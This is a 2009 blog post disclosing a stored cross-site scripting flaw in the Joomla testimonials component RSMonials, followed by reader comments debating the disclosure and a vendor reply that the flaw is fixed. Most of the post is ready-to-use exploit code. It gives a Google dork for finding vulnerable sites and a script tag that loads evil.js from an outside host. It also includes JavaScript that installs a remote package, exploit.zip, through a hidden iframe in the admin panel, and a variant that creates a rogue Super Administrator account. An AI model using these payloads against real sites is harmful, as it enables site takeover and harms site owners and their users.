Wednesday, 22 April 2009 19:19

While setting up a site the other day, I got a chance to poke around with a component called RS Monials. The first thing I did, without hesitation, is submit some quotes. No dice, they were escaped. Next came a <script> tag.

 
alert( document.cookie );
 

The component had been set (not by me) to automatically post whatever anyone typed, so as soon as the submission went through I received a nice little alert window of cookie nonsense. Imagine my alarm when, as I ventured into the admin panel to delete the posting, there was the same alert.

I wonder what else I can execute?

What I ended up with is here.

 
/*
RSMonials XSS Exploit
 
http://www.rswebsols.com/downloads/category/14-download-rsmonials-all?download=23%3Adownload-rsmonials-component
 
Google Dork: allinurl:option=com_rsmonials
 
Anything entered into the form gets rendered as HTML, so you can add tags
as long as they don't include quotes (magic quotes eats them, if it's on).
This component ships with settings that prevent posting by default, but 
the administrator page for the testimonials renders your script in its entirety.
 
Proof of Concept 1: Remote file upload
 
Visit http://target.com/index.php?option=com_rsmonials and post a comment.
At the end of your glowing comment about how awesome the site is, attach this:
 
<script src=http://badsite.com/evil.js></script>
 
Now, when your admin goes to the com_rsmonials "Testimonials" page, your 
script will execute. In this example, a hidden iframe loads up the install
page and installs a 'custom' module.
 
*/
 
var exploited = false;
var iframe = document.createElement( 'iframe' );
var reg = new RegExp( 'administrator' );
if( reg.test( location.href ) )
{
  iframe.src = 'index.php?option=com_installer';
  iframe.setStyle( 'display', 'none' );
  document.body.appendChild( iframe );
  iframe.addEvent( 'load', exploit );
}
function exploit( e )
{
  if( exploited != true )
  {
    var doc = e.target.contentDocument; if( !doc ) return;
    var inp = doc.getElementById( 'install_url' );
    inp.value = 'http://badsite.com/exploit.zip';
    var b = inp.parentNode.getElementsByTagName( 'input' )[1];
    b.onclick();
    exploited = true;
  }
}
 
/*
 
Proof of Concept 2: New Super Administrator
 
Here's a drop-in replacement for the 'exploit' function above:
 
function exploit( e )
{
  if( exploited != true )
  {
    var newForm = false;
    var doc = e.target.contentDocument; if( !doc ) return;
    var nb = doc.getElementsByTagName( 'a' ); if( !nb ) return;
    var i = 0;
    for( ; i<nb.length; i++ )
    {
      if( nb[i].parentNode.id == 'toolbar-new' )
      {
        nb[i].onclick();
      }
      else if( nb[i].parentNode.id == 'toolbar-save' )
      {
        doc.getElementById( 'name' ).value = 'hacked';
        doc.getElementById( 'username' ).value = 'hacked';
        doc.getElementById( 'email' ).value = 'your @ freemail.com';
        doc.getElementById( 'password' ).value = 'password';
        doc.getElementById( 'password2' ).value = 'password';
        var g = doc.getElementById( 'gid' );
        g.selectedIndex = g.options.length - 1;
        nb[i].onclick();
        exploited = true;
      }
    }
  }
}
 
If the admin is a Super Admin, then you could be too... just remember to watch
your freemail account for Joomla's account notification!
 
*/
 

UPDATE: I figured I'd go ahead and link to the Joomla Forum thread that started the interest...Hidden Links being inserted into template page?

Last Updated on Tuesday, 03 November 2009 01:42
 
Comments (5)
1 Monday, 02 November 2009 22:31
frustrated
It's one thing to say, hey, there's a vulnerability here, I should let the developer know so they can fix it. It's another thing entirely to just post a step-by-step manual on how to exploit the vulnerability, so that businesses who depend on their sites for their livelihoods are now certain to get defaced/hacked/stolen/locked out/clients stolen/sensitive info stolen/etc. Because you didn't think about the consequenses of posting a HOW TO HACK.
2 Monday, 02 November 2009 22:50
Jeff Channell
When the developer doesn't care to fix it, is it better to know a vulnerability exists, or to be in the dark and let someone else find it?

Take a look yourself: this was posted in April 2009, and an update didn't happen until 25 October. Apparently there was at least one other person that reported this before I published this as well.
3 Tuesday, 03 November 2009 01:10
RS Web Solutions
Hi All,

I am representing RS Web Solutions (owner of the component RSMonials).

The security issue is already fixed. Please download the latest version of our component from our website (www.rswebsols.com).

Or you can review our component at JED (Joomla Extension Directory). The link is: http://extensions.joomla.org/extensions/contacts-and-feedback/testimonials-a-suggestions/7590
4 Tuesday, 03 November 2009 01:36
Jeff Channell
Wow, I cannot believe this page is getting this attention after so many months...

... me & my big mouth!
5 Tuesday, 03 November 2009 02:12
not quite as frustrated...
Jeff, thank you for your help in resolving this issue for me. I still don't think the whole how-to should have been posted, but I do agree with making people aware that there IS a vulnerability. Now that you have pointed it out, I have gotten the updated version from the author to fix it. And thank you for going above and beyond in identifying a similar exploit in another component I was using and FIXING it for me! And for also letting the author of that component know. Very much appreciated, and saved me further headaches.

Add your comment

Your name:
Comment:
  The word for verification. Lowercase letters only with no spaces.
Word verification:

The Joomla!® name is used under a limited license from Open Source Matters in the United States and other countries. Jeff Channell is not affiliated with or endorsed by Open Source Matters or the Joomla!® Project.

Santorum
Joomla Extensions